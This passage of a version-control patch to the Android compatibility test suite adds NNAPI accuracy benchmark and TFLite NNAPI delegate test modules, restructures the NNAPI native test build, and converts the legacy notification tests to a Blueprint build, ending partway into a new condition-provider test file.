+# This is necessary for the build system to pickup the AndroidTest.xml.
+LOCAL_PATH:= $(nnapi_cts_dir)
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNNAPITestCases
@@ -23,33 +25,19 @@
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
-LOCAL_SRC_FILES := \
-     src/TestGenerated.cpp \
-     src/TestMemory.cpp \
-     src/TestTrivialModel.cpp \
-     src/TestUnknownDimensions.cpp \
-     src/TestValidateOperations.cpp \
-     src/TestValidation.cpp \
-     src/TestWrapper.cpp
-
-LOCAL_C_INCLUDES := frameworks/ml/nn/runtime/include/
-LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/test/
-LOCAL_C_INCLUDES += frameworks/ml/nn/runtime/
-LOCAL_C_INCLUDES += frameworks/ml/nn/common/include
-LOCAL_C_INCLUDES += frameworks/ml/nn/tools/test_generator/include
+LOCAL_WHOLE_STATIC_LIBRARIES := CtsNNAPITests_static
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-
 LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
-
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
-LOCAL_CFLAGS := -Werror -Wall
-
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
 
 include $(BUILD_CTS_EXECUTABLE)
+
+include $(nnapi_cts_dir)/benchmark/Android.mk
+include $(nnapi_cts_dir)/tflite_delegate/Android.mk
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTest.xml
index 131db6a..61ce58a 100644
--- a/tests/tests/neuralnetworks/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/AndroidTest.xml
@@ -24,8 +24,8 @@
     <test class="com.android.tradefed.testtype.GTest" >
         <option name="native-test-device-path" value="/data/local/tmp" />
         <option name="module-name" value="CtsNNAPITestCases" />
-        <option name="runtime-hint" value="2m" />
-        <!-- test-timeout unit is ms, value = 2 min -->
-        <option name="native-test-timeout" value="120000" />
+        <option name="runtime-hint" value="10m" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="native-test-timeout" value="600000" />
     </test>
 </configuration>
diff --git a/tests/tests/neuralnetworks/benchmark/Android.mk b/tests/tests/neuralnetworks/benchmark/Android.mk
new file mode 100644
index 0000000..a695145
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsNNAPIBenchmarkTestCases
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+# And when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Include both the 32 and 64 bit versions
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules \
+    compatibility-device-util-axt ctstestrunner-axt junit NeuralNetworksApiBenchmark_Lib
+LOCAL_JNI_SHARED_LIBRARIES := libnnbenchmark_jni
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_ASSET_DIR := test/mlts/models/assets
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
new file mode 100644
index 0000000..2a5df64
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.nn.benchmark.cts">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-sdk android:minSdkVersion="27"/>
+
+    <application android:name=".NNAccuracyApplication">
+        <activity android:name=".NNAccuracyActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.nn.benchmark.cts"
+            android:label="CTS tests of NNAPI accuracy benchmark"/>
+</manifest>
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidTest.xml b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
new file mode 100644
index 0000000..dd309c7
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for CTS NNAPI Benchmark Tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNNAPIBenchmarkTestCases.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.nn.benchmark.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyActivity.java b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyActivity.java
new file mode 100644
index 0000000..29877c7
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.nn.benchmark.cts;
+
+import android.app.Activity;
+
+public class NNAccuracyActivity extends Activity {}
diff --git a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyApplication.java b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyApplication.java
new file mode 100644
index 0000000..78e0b1a
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyApplication.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.nn.benchmark.cts;
+
+import android.app.Application;
+import com.android.nn.benchmark.core.TestModelsListLoader;
+import java.io.IOException;
+
+/** Application class for NNAccuracyTest. */
+public class NNAccuracyApplication extends Application {
+
+@Override
+  public void onCreate() {
+    super.onCreate();
+    try {
+      TestModelsListLoader.parseFromAssets(getAssets());
+    } catch (IOException e) {
+      throw new IllegalStateException("Failed to load test models json", e);
+    }
+  }
+}
diff --git a/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
new file mode 100644
index 0000000..ab2c2d0
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/src/com/android/nn/benchmark/cts/NNAccuracyTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.nn.benchmark.cts;
+
+import static junit.framework.TestCase.assertFalse;
+
+import android.app.Activity;
+import android.util.Pair;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.nn.benchmark.core.BenchmarkException;
+import com.android.nn.benchmark.core.BenchmarkResult;
+import com.android.nn.benchmark.core.InferenceInOutSequence;
+import com.android.nn.benchmark.core.InferenceResult;
+import com.android.nn.benchmark.core.NNTestBase;
+import com.android.nn.benchmark.core.TestModels;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Tests the accuracy of the model outputs.
+ */
+@RunWith(Parameterized.class)
+public class NNAccuracyTest {
+
+    @Rule
+    public ActivityTestRule<NNAccuracyActivity> mActivityRule =
+            new ActivityTestRule<>(NNAccuracyActivity.class);
+
+    @Parameterized.Parameter(0)
+    public TestModels.TestModelEntry mModel;
+
+    private Activity mActivity;
+
+    // TODO(vddang): Add mobilenet_v1_0.25_128_quant_topk_aosp
+    private static final String[] MODEL_NAMES = new String[]{
+            "tts_float",
+            "asr_float",
+            "mobilenet_v1_1.0_224_quant_topk_aosp",
+            "mobilenet_v1_1.0_224_topk_aosp",
+            "mobilenet_v1_0.75_192_quant_topk_aosp",
+            "mobilenet_v1_0.75_192_topk_aosp",
+            "mobilenet_v1_0.5_160_quant_topk_aosp",
+            "mobilenet_v1_0.5_160_topk_aosp",
+            "mobilenet_v1_0.25_128_topk_aosp",
+            "mobilenet_v2_0.35_128_topk_aosp",
+            "mobilenet_v2_0.5_160_topk_aosp",
+            "mobilenet_v2_0.75_192_topk_aosp",
+            "mobilenet_v2_1.0_224_quant_topk_aosp",
+            "mobilenet_v2_1.0_224_topk_aosp",
+    };
+
+    @Parameters(name = "{0}")
+    public static List<TestModels.TestModelEntry> modelsList() {
+        List<TestModels.TestModelEntry> models = new ArrayList<>();
+        for (String modelName : MODEL_NAMES) {
+            models.add(TestModels.getModelByName(modelName));
+        }
+        return Collections.unmodifiableList(models);
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    @LargeTest
+    public void testTFLite() throws BenchmarkException, IOException {
+        NNTestBase test = mModel.createNNTestBase(/*useNNAPI=*/false,
+                /*enableIntermediateTensorsDump=*/false);
+        test.setupModel(mActivity);
+        Pair<List<InferenceInOutSequence>, List<InferenceResult>> inferenceResults =
+                test.runBenchmarkCompleteInputSet(/*setRepeat=*/1, /*timeoutSec=*/3600);
+        BenchmarkResult benchmarkResult =
+                BenchmarkResult.fromInferenceResults(
+                        mModel.mModelName,
+                        BenchmarkResult.BACKEND_TFLITE_CPU,
+                        inferenceResults.first,
+                        inferenceResults.second,
+                        test.getEvaluator());
+        assertFalse(benchmarkResult.hasValidationErrors());
+    }
+
+    @Test
+    @LargeTest
+    public void testNNAPI() throws BenchmarkException, IOException {
+        NNTestBase test = mModel.createNNTestBase(/*useNNAPI=*/true,
+                /*enableIntermediateTensorsDump=*/false);
+        test.setupModel(mActivity);
+        Pair<List<InferenceInOutSequence>, List<InferenceResult>> inferenceResults =
+                test.runBenchmarkCompleteInputSet(/*setRepeat=*/1, /*timeoutSec=*/3600);
+        BenchmarkResult benchmarkResult =
+                BenchmarkResult.fromInferenceResults(
+                        mModel.mModelName,
+                        BenchmarkResult.BACKEND_TFLITE_NNAPI,
+                        inferenceResults.first,
+                        inferenceResults.second,
+                        test.getEvaluator());
+        assertFalse(benchmarkResult.hasValidationErrors());
+    }
+}
diff --git a/tests/tests/neuralnetworks/src/TestGenerated.cpp b/tests/tests/neuralnetworks/src/TestGenerated.cpp
deleted file mode 100644
index b9044fe..0000000
--- a/tests/tests/neuralnetworks/src/TestGenerated.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestGenerated.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestMemory.cpp b/tests/tests/neuralnetworks/src/TestMemory.cpp
deleted file mode 100644
index 84d2d41..0000000
--- a/tests/tests/neuralnetworks/src/TestMemory.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestMemory.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp b/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
deleted file mode 100644
index b41e50f..0000000
--- a/tests/tests/neuralnetworks/src/TestTrivialModel.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestTrivialModel.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp b/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp
deleted file mode 100644
index 764d9b8..0000000
--- a/tests/tests/neuralnetworks/src/TestUnknownDimensions.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestUnknownDimensions.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidateOperations.cpp b/tests/tests/neuralnetworks/src/TestValidateOperations.cpp
deleted file mode 100644
index add81a9..0000000
--- a/tests/tests/neuralnetworks/src/TestValidateOperations.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestValidateOperations.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestValidation.cpp b/tests/tests/neuralnetworks/src/TestValidation.cpp
deleted file mode 100644
index eab0f59..0000000
--- a/tests/tests/neuralnetworks/src/TestValidation.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestValidation.cpp"
diff --git a/tests/tests/neuralnetworks/src/TestWrapper.cpp b/tests/tests/neuralnetworks/src/TestWrapper.cpp
deleted file mode 100644
index f77963b..0000000
--- a/tests/tests/neuralnetworks/src/TestWrapper.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-// Include corresponding NNAPI unit tests in frameworks/ml/nn/runtime/test
-#include "test/TestWrapper.cpp"
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
new file mode 100644
index 0000000..5ef0ca0
--- /dev/null
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -0,0 +1,69 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+my_dir := $(call my-dir)
+
+LOCAL_PATH:= external/tensorflow/
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
+LOCAL_SRC_FILES := \
+    tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
+    tensorflow/lite/kernels/test_util.cc \
+    tensorflow/core/platform/default/logging.cc
+LOCAL_CPP_EXTENSION := .cc
+
+LOCAL_C_INCLUDES += external/flatbuffers/include
+LOCAL_C_INCLUDES += external/tensorflow
+
+LOCAL_CFLAGS :=  \
+    -DPLATFORM_POSIX_ANDROID \
+    -Wall \
+    -Werror \
+    -Wextra \
+    -Wno-extern-c-compat \
+    -Wno-sign-compare \
+    -Wno-unused-parameter \
+    -Wno-unused-private-field \
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+include $(BUILD_STATIC_LIBRARY)
+
+
+# Build the actual CTS module with the static lib above.
+# This is necessary for the build system to pickup the AndroidTest.xml.
+LOCAL_PATH:= $(my_dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_WHOLE_STATIC_LIBRARIES := CtsTfliteNnapiDelegateTests_static
+
+LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libtflite_static
+LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SDK_VERSION := current
+LOCAL_NDK_STL_VARIANT := c++_static
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
new file mode 100644
index 0000000..98e2119
--- /dev/null
+++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Configuration for TFLite NNAPI delegate tests">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsTfliteNnapiDelegateTestCases" />
+        <option name="runtime-hint" value="2m" />
+        <!-- test-timeout unit is ms, value = 2 min -->
+        <option name="native-test-timeout" value="120000" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/Android.bp b/tests/tests/notificationlegacy/Android.bp
new file mode 100644
index 0000000..206e73a
--- /dev/null
+++ b/tests/tests/notificationlegacy/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLegacyNotificationTestCases",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "junit",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "24",
+}
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
deleted file mode 100644
index 2dd70aa..0000000
--- a/tests/tests/notificationlegacy/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/AndroidManifest.xml b/tests/tests/notificationlegacy/AndroidManifest.xml
index 634910e..f928c3e 100644
--- a/tests/tests/notificationlegacy/AndroidManifest.xml
+++ b/tests/tests/notificationlegacy/AndroidManifest.xml
@@ -17,6 +17,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.app.notification.legacy.cts">
+    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
     <uses-sdk android:minSdkVersion="24" android:targetSdkVersion="24" />
     <application>
@@ -30,6 +31,24 @@
                 <action android:name="android.service.notification.NotificationListenerService" />
             </intent-filter>
         </service>
+
+        <service android:name="android.app.notification.legacy.cts.LegacyConditionProviderService"
+                 android:exported="true"
+                 android:label="Legacy"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
+
+        <service android:name="android.app.notification.legacy.cts.SecondaryConditionProviderService"
+                 android:exported="true"
+                 android:label="Secondary"
+                 android:permission="android.permission.BIND_CONDITION_PROVIDER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.ConditionProviderService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
new file mode 100644
index 0000000..2e54d92
--- /dev/null
+++ b/tests/tests/notificationlegacy/src/android/app/notification/legacy/cts/ConditionProviderServiceTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy.cts;
+
+import static android.app.NotificationManager.INTERRUPTION_FILTER_ALARMS;
+import static android.app.NotificationManager.INTERRUPTION_FILTER_NONE;
+import static android.service.notification.NotificationListenerService.INTERRUPTION_FILTER_PRIORITY;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertNull;
+
+import android.app.ActivityManager;
